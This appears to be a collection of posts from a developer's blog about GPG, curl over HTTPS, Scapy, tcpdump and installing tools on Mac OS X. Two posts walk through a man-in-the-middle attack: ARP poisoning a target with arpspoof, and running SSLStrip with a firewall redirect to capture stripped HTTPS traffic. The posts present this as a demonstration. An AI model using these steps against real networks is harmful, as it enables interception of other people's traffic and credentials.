11 GPG Commands One Should NEVER Forget

GnuPG is the GNU project's complete and free implementation of the OpenPGP standard as defined by RFC4880 . GnuPG allows to encrypt and sign your data and communication, features a versatile key management system as well as access modules for all kinds of public key directories.

1. Create GPG Keys

$ gpg --gen-key

2. List the available keys in your keyring

$ gpg --list-keys

3. Exporting the public key - by user id

$ gpg --armor --export <uid>

Example :
$ gpg --armor --export prabath@wso2.com

4. Importing a public key of a trusted user to your keyring

$ gpg --import wso2.gpg

5. Encrypting a document - you need to import the public key corresponding to the uid-of-recipient first in to your keyring as per step - 4.

$ gpg --output <output-file>  --encrypt --recipient <uid-of-recipient>  <input-file>

Example :
$ gpg --output test.txt.gpg  --encrypt --recipient prabath@wso2.com  test.txt

6. Decrypting

$ gpg --output <output-file> --decrypt <input-file>

Example :
$ gpg --output text.txt --decrypt test.txt.gpg

7. Signing a document [detached signature]

$ gpg --armor --output <signature> --detach-sig <file-to-sign>

8. Verifying a signature [detached signature] - you need to have the public key of the person who signed it in your keyring - see step-4.

$ gpg --verify <signature> <original-file>

9. Exporting private keys

$ gpg --armor --output <key-file-name> --export-secret-keys <uid>

Example : 
$ gpg --armor --output prabath.asc --export-secret-keys prabath@wso2.com

10. Uploading your public key to a key server.

$ gpg --keyserver certserver.pgp.com --send-key <uid>

11. Download a key from a key server.

$ gpg --keyserver certserver.pgp.com --recv-key <key_id>

Invoking A Secured Web Service With soapUI

Thilina has written a very nice guide on the $subject Available here...

SSL stripping on OS X with SSLStrip

SSLStrip tool provides a demonstration of the HTTPS stripping attacks - you can download it from here.

Then on OS X 10.6.5 with MacPorts we need to install following dependancies.

1. $ sudo port selfupdate

2. $ sudo port install py25-twisted-web2

3. $ sudo port install py25-socket-ssl

4. $ sudo port install py25-openssl

Now, run the following from the SSLStrip home directory.

$ sudo python sslstrip.py -l 9090 -w captured.log

This will start SSLStrip listening on port 9090 - and will write all captured traffic in to the captured.log

Now starts the interesting part.. We need to make the traffic from our target machine goes through SSLStrip. To do that first we need to make sure the traffic flows through our machine. That we can do by ARP poisoning target machine. My previous blog post explains how to do that. Once that is done - we need to forward all that incoming traffic to port where SSLStrip running.

Enable IP forwarding on MAC.

$ sudo sysctl -w net.inet.ip.forwarding=1
$ sudo sysctl -w net.inet.ip.fw.verbose=1

Now we need to add a rule to IPFW to redirect traffic to the port SSLStrip is running.

$ sudo ipfw add fwd 127.0.0.1,9090 log tcp from not me to any 80

ARP poisoning with dsniff

dsniff is a collection of tools for network auditing and penetration testing. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.). arpspoof, dnsspoof, and macof facilitate the interception of network traffic normally unavailable to an attacker (e.g, due to layer-2 switching). sshmitm and webmitm implement active monkey-in-the-middle attacks against redirected SSH and HTTPS sessions by exploiting weak bindings in ad-hoc PKI.

To install dsniff on MAC OS X - with MacPorts.

$ sudo port install dsniff

Now you need to find out two things,

1. IP address of the target machine - say 192.168.1.4
2. IP address of the Gateway - say 192.168.1.1

Let's start ARP poisoning from the attacker's machine - with arpspoof tool which comes with dsniff.

$ sudo arpspoof -i en1 -t 192.168.1.4 192.168.1.1

This will update target machine's ARP table with attacker's MAC address against the IP address of the gateway.

Now - start a tcpdump on the same interface from your machine - start viewing all the traffic going to and from the target machine.

$ sudo tcpdump -i en1

Shell script for bulk signing

We at WSO2 most of the time release many products at once. With the binary distribution + source distribution + docs - amounts to a large number distributions.

And signing and generating MD5 and SHA1 for all those is a painful task.

Following script makes it easy - copy all the distributions to a single directory and copy the following script to the same directory as sign.sh and execute it as,

$ sh sign.sh prabath

Here, prabath is the alias of the GPG public key.

The following script will generate ASC,MD5 and SHA1 of all the distributions and will also dump the public key to KEYS file.

You should have installed GPG and configured it before running the script.

#!/bin/sh
rm *.asc
rm *.md5
rm *.sha1
rm KEYS
for f0 in  *.zip
 do
  echo $f0
  asc=".asc"
  md5=".md5"
  sha1=".sha1"
  f1=$f0$asc
  gpg --armor --output $f1 --detach-sig $f0
  f2=$f0$md5
  gpg --print-md MD5 $f0  > $f2
  f3=$f0$sha1
  gpg --print-md SHA1 $f0  > $f3
 done
gpg --armor --export $1 > KEYS

Curl with HTTPS

Wrote a blog sometime back on "How to invoke a web service call with curl ?" in RampartFAQ.com - but that doesn't explain how to work with Curl with HTTPS.

Today morning I got a question from one of my colleagues and thought of writing a blog on the $subject in detail..

Let's go with few examples..

1. Invoke https://www.amazon.com

$ curl https://www.amazon.com
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.amazon.com/">here</a>.</p>
</body></html>

2. Above won't print details about the SSL handshake. To view SSL handshake let's use -v as an argument

$ curl -v https://www.amazon.com
* About to connect() to www.amazon.com port 443 (#0)
*   Trying 72.21.214.128... connected
* Connected to www.amazon.com (72.21.214.128) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: /opt/local/share/curl/curl-ca-bundle.crt
  CApath: none
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using RC4-MD5
* Server certificate:
*   subject: C=US; ST=Washington; L=Seattle; O=Amazon.com Inc.; CN=www.amazon.com
*   start date: 2010-07-15 00:00:00 GMT
*   expire date: 2013-07-14 23:59:59 GMT
*   common name: www.amazon.com (matched)
*   issuer: C=US; O=VeriSign, Inc.; OU=VeriSign Trust Network; OU=Terms of use at https://www.verisign.com/rpa (c)09; CN=VeriSign Class 3 Secure Server CA - G2
*   SSL certificate verify ok.
> GET / HTTP/1.1
> User-Agent: curl/7.21.2 (x86_64-apple-darwin10.5.0) libcurl/7.21.2 OpenSSL/1.0.0b zlib/1.2.5 libidn/1.19
> Host: www.amazon.com
> Accept: */*
> 
< HTTP/1.1 301 Moved Permanently
< Date: Thu, 02 Dec 2010 07:22:22 GMT
< Server: Server
< Set-Cookie: skin=noskin; path=/; domain=.amazon.com; expires=Thu, 02-Dec-2010 07:22:22 GMT
< Location: http://www.amazon.com/
< Content-Length: 230
< nnCoection: close
< Content-Type: text/html; charset=iso-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.amazon.com/">here</a>.</p>
</body></html>
* Connection #0 to host www.amazon.com left intact
* Closing connection #0
* SSLv3, TLS alert, Client hello (1):

This HTTPS connection works fine, because, the client trusts the CA of the Amazon's SSL certificate.

By going through the logs you will see, the CA certificates are verified against the curl-ca-bundle.crt file located at /opt/local/share/curl/curl-ca-bundle.crt

If you have a look at the above file, you will see all the trusted CAs listed there..

Verisign Class 1 Public Primary Certification Authority
=======================================================
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCED9pHoGc8JpK83P/uUii5N0wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5
IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVow
XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAx
IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA
A4GNADCBiQKBgQDlGb9to1ZhLZlIcfZn3rmN67eehoAKkQ76OCWvRoiC5XOooJskXQ0fzGVuDLDQ
VoQYh5oGmxChc9+0WDlrbsH2FdWoqD+qEgaNMax/sDTXjzRniAnNFBHiTkVWaR94AoDa3EeRKbs2
yWNcxeDXLYd7obcysHswuiovMaruo2fa2wIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAFgVKTk8d6Pa
XCUDfGD67gmZPCcQcMgMCeazh88K4hiWNWLMv5sneYlfycQJ9M61Hd8qveXbhpxoJeUwfLaJFf5n
0a3hUKw8fGJLj7qE1xIVGx/KXQ/BUpQqEZnae88MNhPVNdwQGVnqlMEAv3WP2fr9dgTbYruQagPZ
RjXZ+Hxb
-----END CERTIFICATE-----

Verisign Class 3 Public Primary Certification Authority
=======================================================
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCEDyRMcsf9tAbDpq40ES/Er4wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5
IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVow
XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz
IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA
A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94
f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol
hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBABByUqkFFBky
CEHwxWsKzH4PIRnN5GfcX6kb5sroc50i2JhucwNhkcV8sEVAbkSdjbCxlnRhLQ2pRdKkkirWmnWX
bj9T/UWZYB2oK0z5XqcJ2HUw19JlYD1n1khVdWk/kfVIC0dpImmClr7JyDiGSnoscxlIaU5rfGW/
D/xwzoiQ
-----END CERTIFICATE-----

In the case of Amazon, it's Verisign who the CA is..

3. Let's try to invoke https://amazon.com [Not www.amazon.com]

$ curl -v https://amazon.com
* About to connect() to amazon.com port 443 (#0)
*   Trying 72.21.210.250... connected
* Connected to amazon.com (72.21.210.250) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: /opt/local/share/curl/curl-ca-bundle.crt
  CApath: none
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using RC4-MD5
* Server certificate:
*   subject: C=US; ST=Washington; L=Seattle; O=Amazon.com Inc.; CN=www.amazon.com
*   start date: 2010-07-15 00:00:00 GMT
*   expire date: 2013-07-14 23:59:59 GMT
* SSL: certificate subject name 'www.amazon.com' does not match target host name 'amazon.com'
* Closing connection #0
* SSLv3, TLS alert, Client hello (1):
curl: (51) SSL: certificate subject name 'www.amazon.com' does not match target host name 'amazon.com'

This fails.. Why ? It's the same CA which is trusted by the Curl client - but it fails due to the host name verification. The certificate was issued to www.amazon.com - not for amazon.com

4. Let's try to invoke https://amazon.com [Not www.amazon.com] - by disabling SSL validations with the argument -k

curl -v -k https://amazon.com
* About to connect() to amazon.com port 443 (#0)
*   Trying 72.21.210.250... connected
* Connected to amazon.com (72.21.210.250) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: /opt/local/share/curl/curl-ca-bundle.crt
  CApath: none
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using RC4-MD5
* Server certificate:
*   subject: C=US; ST=Washington; L=Seattle; O=Amazon.com Inc.; CN=www.amazon.com
*   start date: 2010-07-15 00:00:00 GMT
*   expire date: 2013-07-14 23:59:59 GMT
*   common name: www.amazon.com (does not match 'amazon.com')
*   issuer: C=US; O=VeriSign, Inc.; OU=VeriSign Trust Network; OU=Terms of use at https://www.verisign.com/rpa (c)09; CN=VeriSign Class 3 Secure Server CA - G2
*   SSL certificate verify ok.
> GET / HTTP/1.1
> User-Agent: curl/7.21.2 (x86_64-apple-darwin10.5.0) libcurl/7.21.2 OpenSSL/1.0.0b zlib/1.2.5 libidn/1.19
> Host: amazon.com
> Accept: */*
> 
< HTTP/1.1 301 Moved Permanently
< Date: Thu, 02 Dec 2010 07:38:04 GMT
< Server: Server
< Location: https://www.amazon.com/
< Content-Length: 231
< Cneonction: close
< Content-Type: text/html; charset=iso-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://www.amazon.com/">here</a>.</p>
</body></html>
* Connection #0 to host amazon.com left intact
* Closing connection #0
* SSLv3, TLS alert, Client hello (1):

This succeeds.. since we asked Curl to ignore SSL validation issues..

5. Let's try to invoke a service with a certificate issued from a CA not trusted by Curl. I am using WSO2 ESB here - which ships with a self-signed certificate - so, obviously not trusted by Curl

$ curl -v https://localhost:9447/carbon
* About to connect() to localhost port 9447 (#0)
*   Trying ::1... connected
* Connected to localhost (::1) port 9447 (#0)
* successfully set certificate verify locations:
*   CAfile: /opt/local/share/curl/curl-ca-bundle.crt
  CApath: none
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS alert, Server hello (2):
* SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
* Closing connection #0
curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
More details here: http://curl.haxx.se/docs/sslcerts.html

You will see, above fails since server certification is not trusted.

6. Let's improve step-5 - by asking Curl to trust our CA certificate.

$ curl -v --cacert esbcert.pem  https://localhost:9447/carbon

Here we specify CA certificate of the ESB - with the argument --cacert

Notes :

1. To find the path of the trusted CA bundle

$ curl-config --ca

2. To set your own trusted CA bundle

$ export CURL_CA_BUNDLE=my-ca-bundle.crt

Hand-crafting TCP/IP handshake with Scapy

The following video explains TCP/IP 3-way handshake - and later we are going to hand-craft the packets used in TCP/IP handshake with Scapy.



First lets define the server and the client,

Server : 192.168.2.1
Client : 192.168.2.11

First I will start Scapy at the client side, to track the packets flowing in between client and the server

$ sudo scapy

>>> a=sniff(filter="tcp")

Now lets open up another console in the client end and start Scapy again..

$ sudo scapy
Welcome to Scapy (2.1.0)
>>>

Step - 1

Now, first create an IP packet - you may notice the src is set to the client IP and the dst been set to the server IP.

>>> ip=IP(src="192.168.2.11", dst="192.168.2.1")

Then, we need to create a TCP packet with SYN - see the flags been set to "S". And we are also setting a sequence number...

Step - 2

>>> SYN=TCP(sport=1500, dport=80, flags="S", seq=100)

Then we need to send the crafted packet. With this we are expecting SYN ACK from the server.

Step - 3

>>> SYNACK=sr1(ip/SYN)

But, if you press Ctrl+C and then a.nsummary() on the other console we are running Scapy, you will see an RST been sent from the client after the SYN.

$ sudo scapy
>>> a=sniff(filter="tcp")
Ctrl+C
>>>a.nsummary()
0000 Ether / IP / TCP 192.168.2.11:1500 > 192.168.2.1:www S
0001 Ether / IP / TCP 192.168.2.11:1500 > 192.168.2.1:www R

Linux kernel automatically sets appropriate header values and knows how to complete a TCP 3 way handshake.

Scapy does not use these kernel services. It creates a raw socket.

In the previous case, as soon as the kernel sees the SYN/ACK it responded with a RST - because it did not send the SYN [it was through Scapy].

So, we need to avoid this behavior and this is how we do it. We can use iptables on our host to suppress outbound RSTs to the destination we are working with.

sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.2.11 -dport 1500 -j DROP

Once the above done performs steps 1 to 3 and you won't see an RST been sent from the client.

Step - 4

Now the client needs to send ACK for the server's SYN.

Here you will see the sequence number is increased by one and the the sequence number from the SYN ACK form the server been set as the ack.

>>> ACK=TCP(sport=1500, dport=80, flags="S", seq=101 ack=SYNACK.seq)

Step - 5

Send the client ACK to the server

>>>send(ip/ACK)

Step - 6

Let's go back to the first console window and view the flow between client and the server

$ sudo scapy
>>> a=sniff(filter="tcp")
Ctrl+C
>>>a.nsummary()
0000 Ether / IP / TCP 192.168.2.11:1500 > 192.168.2.1:www S
0001 Ether / IP / TCP 192.168.2.1:www > 192.168.2.11:1500 SA
0002 Ether / IP / TCP 192.168.2.11:1500 > 192.168.2.1:www A

Installing Scapy on Mac OS X

I wouldn't have written this blog post, if everything went well for me while doing the $subject..

I was trying with MacPorts - it gave me the following error..

:error:configure db46 requires the Java for Mac OS X development headers.
:error:configure Download the Java Developer Package from:
:error:configure Target org.macports.configure returned: missing Java headers
:debug:configure Backtrace: missing Java headers while executing
"$pre $targetname"

By going through some of the MacPorts tickets found out that we need to have Java for Mac OS X 10.6 Update 3 Developer Package installed first - which you can get from here.

Once that is done, only following is needed..

$ sudo port install scapy

Capturing via tcpdump to view in Wireshark

$sudo tcpdump -i en1 -s0 -w captured.pcap

-i Listening interface

-s Snarf snaplen bytes of data from each packet rather than the default of 64K bytes. Packets truncated because of a limited snapshot are indicated in the output with ``[|proto]'', where proto is the name of the protocol level at which the truncation has occurred. Note that taking larger snapshots both increases the amount of time it takes to process packets and, effectively, decreases the amount of packet buffering. This may cause pack- ets to be lost. You should limit snaplen to the smallest number that will capture the protocol information you're interested in. Setting snaplen to 0 means use the required length to catch whole packets.

Installing Wget on Mac OS X

1. Download from http://ftp.gnu.org/pub/gnu/wget/wget-1.9.1.tar.gz

2. cd ~/Downloads/wget-1.9.1

3. ./configure

4. make

5. sudo make install

6. wget http://dist.wso2.org/products/esb/java/3.0.1/wso2esb-3.0.1.zip